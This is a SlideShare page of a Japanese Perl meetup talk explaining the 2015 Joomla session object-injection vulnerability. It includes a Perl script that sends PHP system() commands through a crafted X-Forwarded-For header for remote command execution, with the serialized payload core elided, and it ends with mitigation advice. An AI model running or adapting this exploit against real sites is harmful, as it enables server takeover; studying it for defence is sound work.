SlideShare a Scribd company logo
1 of 17
CMSとPerlで遊ぼう
2016/1/15 吉祥寺.pm#6
@mahoyaya
@mahoyaya
• Name: mahoyaya
• Work: NWインフラ(?)
• Favorite: DIY
• Twitter: @mahoyaya
• blog: http://mahoyaya.hateblo.jp
• GitHub: https://github.com/mahoyaya
Hardeningで日経デビューしました
みなさんご存知ですか
?
• <<< JPCERT/CC WEEKLY REPORT 2015-12-24 >>>
• 【1】ISC BIND 9 にサービス運用妨害 (DoS) の脆弱性
• 【2】Joomla! に複数の脆弱性
• 【3】Firefox に複数の脆弱性
• 【4】Ruby の標準添付ライブラリに脆弱性
• 【5】Symantec Endpoint Encryption に情報漏えいの脆弱性
• 【6】ScreenOS に複数の脆弱性
• 【7】WordPress 用プラグイン Welcart に SQL インジェクションの脆弱性
• 【8】WinRAR の実行ファイル読込みに脆弱性
• 【9】Ipswitch WhatsUp Gold に複数の脆弱性
Joomlaに深刻な脆弱性、パッ
チ公開2日前から攻撃横行
どんな内容?
• JoomlaはUser-AgentやX-Forwarded-Forなんかのセッション情報をDB
に保存する
• MySQLはUTF-8の4Byte文字列があると、それ以降の文字を切り詰め
る仕様
• セッション情報がMySQLで切り詰められた結果、PHPの
session_encode形式のデータがsession_decodeされた時に文字列の情
報がオブジェクトに化ける
• ディストラクタされるオブジェクトをインジェクションした後に再度同
じセッションにアクセスすると、そのオブジェクトが生成されて・・・
徳丸先生のページ:http://goo.gl/dgPwO0
というわけで、
JoomlaにPerlでObject
injectionしてみた
while(1) {
my $response_header = "";
#========================#
# get command #
#========================#
my $cmd_str = getCmd();
last if $cmd_str =~ m/Aquitz/;
$cmd_str =~ s/^(.+)$/system(’$1');/;
info($cmd_str);
#=========================#
# connect to remote host #
#=========================#
for(my $i = 0; $i < 3; $i++){
# generate payload string
my $request_str = generate_payload($cmd_str, @ary_cookies);
#info($request_str);
info("connect to $host:$port");
info("[send data] " . $request_str);
my $sock;
socket($sock, PF_INET, SOCK_STREAM, 0) or die "can't open socketn";
connect($sock, $sock_addr) or die "can't connect remote hostn";
# no buffered sock $sock
select($sock); $|=1; select(STDOUT);
ssend($sock, $request_str);
#=====================#
# get http response #
#=====================#
# print headers
$response_header = "";
while (<$sock>){
print $_;
$response_header .= $_;
last if m/^rn$/;
}
# print body
$|=1;
while (<$sock>){
if( $print > 0){
print $_;
}
}
#====================================#
# get cookie and print status code #
#====================================#
for my $line (split("rn", $response_header)){
if($line =~ m/ASet-Cookie: /){
$line =~ s/ASet-//;
my @ary = split(";", $line);
push(@ary_cookies, $ary[0]);
info("<" . $ary[0] . ">");
} elsif($line =~ m|AHTTP/1.1 |){
my $status = $line;
$status =~ s|AHTTP/1.1 ([0-9]{3}) .+z|$1|;
info("<Response: " . $status . ">");
}
}
close($sock) if defined $sock;
print "================================n";
} # end for loop
} # end while
sub php_str_noquotes {
my $data = shift;
my $encoded = "";
for(split("", $data)){
$encoded .= 'chr(' . unpack("C", $_) . ').';
}
return substr($encoded, 0, length($encoded) - 1);
}
sub generate_payload {
my $php_payload = shift;
my $aref_cookies = shift;
my $request_str = "";
$php_payload = 'eval(' . php_str_noquotes($php_payload) . ')';
my $terminate = "xf0xfdxfdxfd";
my $exploit_template = <シリアライズしたセッションデータ+$php_payload>
$exploit_template .= $terminate; #utf8 4byte char
# set headers
my $ua = 'User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3';
my $xff = 'x-forwarded-for: ' . $exploit_template;
$request_str = append($request_str, "GET " . $request_url . " HTTP/1.1");
$request_str = append($request_str, "Host: " . $host . ":" . $port);
$request_str = append($request_str, "Accept-Encoding: gzip, deflate");
$request_str = append($request_str, $xff);
$request_str = append($request_str, "Accept: */*");
$request_str = append($request_str, $ua);
$request_str = append($request_str, "Connection: close");
$request_str = appendAll($request_str, $aref_cookies);
$request_str = append($request_str, "");
return $request_str;
}
DEMO
なんでも出来て楽しい
!
それPerl6でできるよ
はじめて2日、Perl6はなかな
か良いが・・・
• バージョン違いもあるが、手元のWinとMacで動作が全く異なる部分がある
’split(“”,:skip-empty)’とか
• 文字出力でsegmentation fault 11
文字列連結でmalformed utf-8
socketからのデータ受信でmalformed utf-8
わけわからんよ・・・
• はじめたばかりでルールがとっつきにくい(ちゃんと覚えれば超便利だと思
う
• コンストラクタの引数設定がいまいちよくわからん。
submodule BUILDで逃げられるが引数が必須になる。
DEMO 2
脆弱性のあるJoomla(?)でObject
injectionされないために
• Joomlaが悪い感じになってるけど、Joomlaの脆弱性というより、PHPのセッションデシリ
アライザとMySQLの仕様の問題
• 最新のPHPでは修正されている
PHP-5.4.45
PHP-5.5.29
PHP-5.6.13
PHP-7.0.0
• アプリケーション側で対応したバージョンを導入する(例:Joomla! 3.4.6)
• MySQL 5.5.3 以降で使える utf8mb4 エンコーディングを使用する
• セッションストレージとしてMySQLを避ける。(MariaDBでは起きない)
• バリデーションによりUTF-8の4バイト形式をエラーにする
<F0..F7> <[80..BF]>*3
徳丸先生のページ:http://goo.gl/dgPwO0
おわり

More Related Content

What's hot

サーバー実装いろいろ
サーバー実装いろいろサーバー実装いろいろ
サーバー実装いろいろ
kjwtnb
 

What's hot (20)

omoon.org の裏側 〜FuelPHP の task 活用例〜
omoon.org の裏側 〜FuelPHP の task 活用例〜omoon.org の裏側 〜FuelPHP の task 活用例〜
omoon.org の裏側 〜FuelPHP の task 活用例〜
 
Norikraで作るPHPの例外検知システム YAPC::Asia Tokyo 2015 LT
Norikraで作るPHPの例外検知システム YAPC::Asia Tokyo 2015 LTNorikraで作るPHPの例外検知システム YAPC::Asia Tokyo 2015 LT
Norikraで作るPHPの例外検知システム YAPC::Asia Tokyo 2015 LT
 
PHP AST 徹底解説(補遺)
PHP AST 徹底解説(補遺)PHP AST 徹底解説(補遺)
PHP AST 徹底解説(補遺)
 
php7's ast
php7's astphp7's ast
php7's ast
 
Ruby 2.5
Ruby 2.5Ruby 2.5
Ruby 2.5
 
モダンmod_perl入門 #yapcasia
モダンmod_perl入門 #yapcasiaモダンmod_perl入門 #yapcasia
モダンmod_perl入門 #yapcasia
 
HHVM Hack
HHVM HackHHVM Hack
HHVM Hack
 
最新PHP事情 (2000年7月22日,PHPカンファレンス)
最新PHP事情 (2000年7月22日,PHPカンファレンス)最新PHP事情 (2000年7月22日,PHPカンファレンス)
最新PHP事情 (2000年7月22日,PHPカンファレンス)
 
15分でCakePHPを始める方法(Nseg 2013-11-09 )
15分でCakePHPを始める方法(Nseg 2013-11-09 )15分でCakePHPを始める方法(Nseg 2013-11-09 )
15分でCakePHPを始める方法(Nseg 2013-11-09 )
 
Zabbix API
Zabbix APIZabbix API
Zabbix API
 
あらためてPHP5.3
あらためてPHP5.3あらためてPHP5.3
あらためてPHP5.3
 
PHPの今とこれから 2013
PHPの今とこれから 2013PHPの今とこれから 2013
PHPの今とこれから 2013
 
Hack/HHVM 入門
Hack/HHVM 入門Hack/HHVM 入門
Hack/HHVM 入門
 
Spectacular Future with clojure.spec
Spectacular Future with clojure.specSpectacular Future with clojure.spec
Spectacular Future with clojure.spec
 
VarnishではじめるESI
VarnishではじめるESIVarnishではじめるESI
VarnishではじめるESI
 
PHP5.5新機能「ジェネレータ」初心者入門
PHP5.5新機能「ジェネレータ」初心者入門PHP5.5新機能「ジェネレータ」初心者入門
PHP5.5新機能「ジェネレータ」初心者入門
 
サーバー実装いろいろ
サーバー実装いろいろサーバー実装いろいろ
サーバー実装いろいろ
 
PHP, Now and Then 2011
PHP, Now and Then 2011PHP, Now and Then 2011
PHP, Now and Then 2011
 
PHP Now and Then 2012 at PHP Conference 2012, Tokyo Japan (in japanese)
PHP Now and Then 2012 at PHP Conference 2012, Tokyo Japan (in japanese)PHP Now and Then 2012 at PHP Conference 2012, Tokyo Japan (in japanese)
PHP Now and Then 2012 at PHP Conference 2012, Tokyo Japan (in japanese)
 
PHP と SAPI と ZendEngine3 と
PHP と SAPI と ZendEngine3 とPHP と SAPI と ZendEngine3 と
PHP と SAPI と ZendEngine3 と
 

Viewers also liked

Viewers also liked (17)

ぼんやりした大人が趣味でプログラミングを始めたら
ぼんやりした大人が趣味でプログラミングを始めたらぼんやりした大人が趣味でプログラミングを始めたら
ぼんやりした大人が趣味でプログラミングを始めたら
 
ソフトウェアメトリクス概要 20160514
ソフトウェアメトリクス概要 20160514ソフトウェアメトリクス概要 20160514
ソフトウェアメトリクス概要 20160514
 
ある工場のRedmine画面カスタム【View customize plugin 活用例】
ある工場のRedmine画面カスタム【View customize plugin 活用例】ある工場のRedmine画面カスタム【View customize plugin 活用例】
ある工場のRedmine画面カスタム【View customize plugin 活用例】
 
Redmineカスタムフィールド表示改善
Redmineカスタムフィールド表示改善Redmineカスタムフィールド表示改善
Redmineカスタムフィールド表示改善
 
みんなでRedmineをより良くしよう −Redmineプロジェクトへの貢献の仕方−
みんなでRedmineをより良くしよう −Redmineプロジェクトへの貢献の仕方−みんなでRedmineをより良くしよう −Redmineプロジェクトへの貢献の仕方−
みんなでRedmineをより良くしよう −Redmineプロジェクトへの貢献の仕方−
 
Redmineでメトリクスを見える化する方法
Redmineでメトリクスを見える化する方法Redmineでメトリクスを見える化する方法
Redmineでメトリクスを見える化する方法
 
Yapc8oji: セキュリティテストサービスを開発運営してきた2年
Yapc8oji: セキュリティテストサービスを開発運営してきた2年Yapc8oji: セキュリティテストサービスを開発運営してきた2年
Yapc8oji: セキュリティテストサービスを開発運営してきた2年
 
PM Beginners #3:メンバの考えていること、共有できてます?
PM Beginners #3:メンバの考えていること、共有できてます?PM Beginners #3:メンバの考えていること、共有できてます?
PM Beginners #3:メンバの考えていること、共有できてます?
 
技術的負債だらけのチームで技術マネージメントしてみた Kichijoji.pm7[talk2]
技術的負債だらけのチームで技術マネージメントしてみた Kichijoji.pm7[talk2]技術的負債だらけのチームで技術マネージメントしてみた Kichijoji.pm7[talk2]
技術的負債だらけのチームで技術マネージメントしてみた Kichijoji.pm7[talk2]
 
工数把握のすすめ 〜WorkTimeプラグインの使い方〜
工数把握のすすめ 〜WorkTimeプラグインの使い方〜工数把握のすすめ 〜WorkTimeプラグインの使い方〜
工数把握のすすめ 〜WorkTimeプラグインの使い方〜
 
View customize pluginを使いこなす
View customize pluginを使いこなすView customize pluginを使いこなす
View customize pluginを使いこなす
 
Redmine 300 310_new_feature
Redmine 300 310_new_featureRedmine 300 310_new_feature
Redmine 300 310_new_feature
 
『うわ、Redmineバージョンが上がった!へなちょこプラグイン開発者はどうするか?』
『うわ、Redmineバージョンが上がった!へなちょこプラグイン開発者はどうするか?』『うわ、Redmineバージョンが上がった!へなちょこプラグイン開発者はどうするか?』
『うわ、Redmineバージョンが上がった!へなちょこプラグイン開発者はどうするか?』
 
Redmine Ansible
Redmine AnsibleRedmine Ansible
Redmine Ansible
 
チケットの棚卸し ウチではこうしてます
チケットの棚卸し ウチではこうしてますチケットの棚卸し ウチではこうしてます
チケットの棚卸し ウチではこうしてます
 
Redmineによるwebサポート窓口の実装と運用
Redmineによるwebサポート窓口の実装と運用Redmineによるwebサポート窓口の実装と運用
Redmineによるwebサポート窓口の実装と運用
 
Redmineチューニングの実際と限界(旧資料) - Redmine performance tuning(old), See Below.
Redmineチューニングの実際と限界(旧資料) - Redmine performance tuning(old), See Below.Redmineチューニングの実際と限界(旧資料) - Redmine performance tuning(old), See Below.
Redmineチューニングの実際と限界(旧資料) - Redmine performance tuning(old), See Below.
 

Similar to CMSとPerlで遊ぼう

Mojoliciousをウェブ制作現場で使ってみてる
Mojoliciousをウェブ制作現場で使ってみてるMojoliciousをウェブ制作現場で使ってみてる
Mojoliciousをウェブ制作現場で使ってみてる
jamadam
 
Alfresco勉強会20120829: やさしいShareダッシュレットの作り方
Alfresco勉強会20120829: やさしいShareダッシュレットの作り方Alfresco勉強会20120829: やさしいShareダッシュレットの作り方
Alfresco勉強会20120829: やさしいShareダッシュレットの作り方
linzhixing
 
Cinnamon - simple deploy tool
Cinnamon - simple deploy toolCinnamon - simple deploy tool
Cinnamon - simple deploy tool
Yuki Shibazaki
 
SmartPhone development guide with CoffeeScript + Node + HTML5 Technology, for...
SmartPhone development guide with CoffeeScript + Node + HTML5 Technology, for...SmartPhone development guide with CoffeeScript + Node + HTML5 Technology, for...
SmartPhone development guide with CoffeeScript + Node + HTML5 Technology, for...
Naoya Ito
 
Scripting Layer for Android + Perl
Scripting Layer for Android + PerlScripting Layer for Android + Perl
Scripting Layer for Android + Perl
Naoya Ito
 

Similar to CMSとPerlで遊ぼう (20)

test
testtest
test
 
swooleを試してみた
swooleを試してみたswooleを試してみた
swooleを試してみた
 
Mojoliciousをウェブ制作現場で使ってみてる
Mojoliciousをウェブ制作現場で使ってみてるMojoliciousをウェブ制作現場で使ってみてる
Mojoliciousをウェブ制作現場で使ってみてる
 
Alfresco勉強会20120829: やさしいShareダッシュレットの作り方
Alfresco勉強会20120829: やさしいShareダッシュレットの作り方Alfresco勉強会20120829: やさしいShareダッシュレットの作り方
Alfresco勉強会20120829: やさしいShareダッシュレットの作り方
 
20140612_Docker上でCloudStackを動かしてみる!!
20140612_Docker上でCloudStackを動かしてみる!!20140612_Docker上でCloudStackを動かしてみる!!
20140612_Docker上でCloudStackを動かしてみる!!
 
Cinnamon - simple deploy tool
Cinnamon - simple deploy toolCinnamon - simple deploy tool
Cinnamon - simple deploy tool
 
zsh とわたし
zsh とわたし zsh とわたし
zsh とわたし
 
WDD2012_SC-004
WDD2012_SC-004WDD2012_SC-004
WDD2012_SC-004
 
GMO TECHNOLOGY BOOT CAMP2015(PHP編)
GMO TECHNOLOGY BOOT CAMP2015(PHP編)GMO TECHNOLOGY BOOT CAMP2015(PHP編)
GMO TECHNOLOGY BOOT CAMP2015(PHP編)
 
恋に落ちるデプロイツール
恋に落ちるデプロイツール恋に落ちるデプロイツール
恋に落ちるデプロイツール
 
SmartPhone development guide with CoffeeScript + Node + HTML5 Technology, for...
SmartPhone development guide with CoffeeScript + Node + HTML5 Technology, for...SmartPhone development guide with CoffeeScript + Node + HTML5 Technology, for...
SmartPhone development guide with CoffeeScript + Node + HTML5 Technology, for...
 
Apacheの展望とmod_perlの超絶技巧 #yapcasia
Apacheの展望とmod_perlの超絶技巧 #yapcasiaApacheの展望とmod_perlの超絶技巧 #yapcasia
Apacheの展望とmod_perlの超絶技巧 #yapcasia
 
01 php7
01   php701   php7
01 php7
 
メルカリのデータベース戦略 / PHPとMySQLの怖い話 MyNA会2015年8月
メルカリのデータベース戦略 / PHPとMySQLの怖い話 MyNA会2015年8月メルカリのデータベース戦略 / PHPとMySQLの怖い話 MyNA会2015年8月
メルカリのデータベース戦略 / PHPとMySQLの怖い話 MyNA会2015年8月
 
実践Sass 後編
実践Sass 後編実践Sass 後編
実践Sass 後編
 
Infrastructure as code for azure
Infrastructure as code for azureInfrastructure as code for azure
Infrastructure as code for azure
 
Mina 20130417
Mina 20130417Mina 20130417
Mina 20130417
 
Node予備校 vol.1 名古屋
Node予備校 vol.1 名古屋Node予備校 vol.1 名古屋
Node予備校 vol.1 名古屋
 
Scripting Layer for Android + Perl
Scripting Layer for Android + PerlScripting Layer for Android + Perl
Scripting Layer for Android + Perl
 
Zend Frameworkで始める携帯サイト
Zend Frameworkで始める携帯サイトZend Frameworkで始める携帯サイト
Zend Frameworkで始める携帯サイト
 

Recently uploaded

Recently uploaded (10)

知識ゼロの営業マンでもできた!超速で初心者を脱する、悪魔的学習ステップ3選.pptx
知識ゼロの営業マンでもできた!超速で初心者を脱する、悪魔的学習ステップ3選.pptx知識ゼロの営業マンでもできた!超速で初心者を脱する、悪魔的学習ステップ3選.pptx
知識ゼロの営業マンでもできた!超速で初心者を脱する、悪魔的学習ステップ3選.pptx
 
Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その22024/04/26の勉強会で発表されたものです。
 
論文紹介:Selective Structured State-Spaces for Long-Form Video Understanding
論文紹介:Selective Structured State-Spaces for Long-Form Video Understanding論文紹介:Selective Structured State-Spaces for Long-Form Video Understanding
論文紹介:Selective Structured State-Spaces for Long-Form Video Understanding
 
論文紹介: The Surprising Effectiveness of PPO in Cooperative Multi-Agent Games
論文紹介: The Surprising Effectiveness of PPO in Cooperative Multi-Agent Games論文紹介: The Surprising Effectiveness of PPO in Cooperative Multi-Agent Games
論文紹介: The Surprising Effectiveness of PPO in Cooperative Multi-Agent Games
 
新人研修 後半 2024/04/26の勉強会で発表されたものです。
新人研修 後半        2024/04/26の勉強会で発表されたものです。新人研修 後半        2024/04/26の勉強会で発表されたものです。
新人研修 後半 2024/04/26の勉強会で発表されたものです。
 
LoRaWANスマート距離検出センサー DS20L カタログ LiDARデバイス
LoRaWANスマート距離検出センサー  DS20L  カタログ  LiDARデバイスLoRaWANスマート距離検出センサー  DS20L  カタログ  LiDARデバイス
LoRaWANスマート距離検出センサー DS20L カタログ LiDARデバイス
 
Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。
 
論文紹介:Video-GroundingDINO: Towards Open-Vocabulary Spatio-Temporal Video Groun...
論文紹介:Video-GroundingDINO: Towards Open-Vocabulary Spatio-Temporal Video Groun...論文紹介:Video-GroundingDINO: Towards Open-Vocabulary Spatio-Temporal Video Groun...
論文紹介:Video-GroundingDINO: Towards Open-Vocabulary Spatio-Temporal Video Groun...
 
LoRaWAN スマート距離検出デバイスDS20L日本語マニュアル
LoRaWAN スマート距離検出デバイスDS20L日本語マニュアルLoRaWAN スマート距離検出デバイスDS20L日本語マニュアル
LoRaWAN スマート距離検出デバイスDS20L日本語マニュアル
 
Utilizing Ballerina for Cloud Native Integrations
Utilizing Ballerina for Cloud Native IntegrationsUtilizing Ballerina for Cloud Native Integrations
Utilizing Ballerina for Cloud Native Integrations
 

CMSとPerlで遊ぼう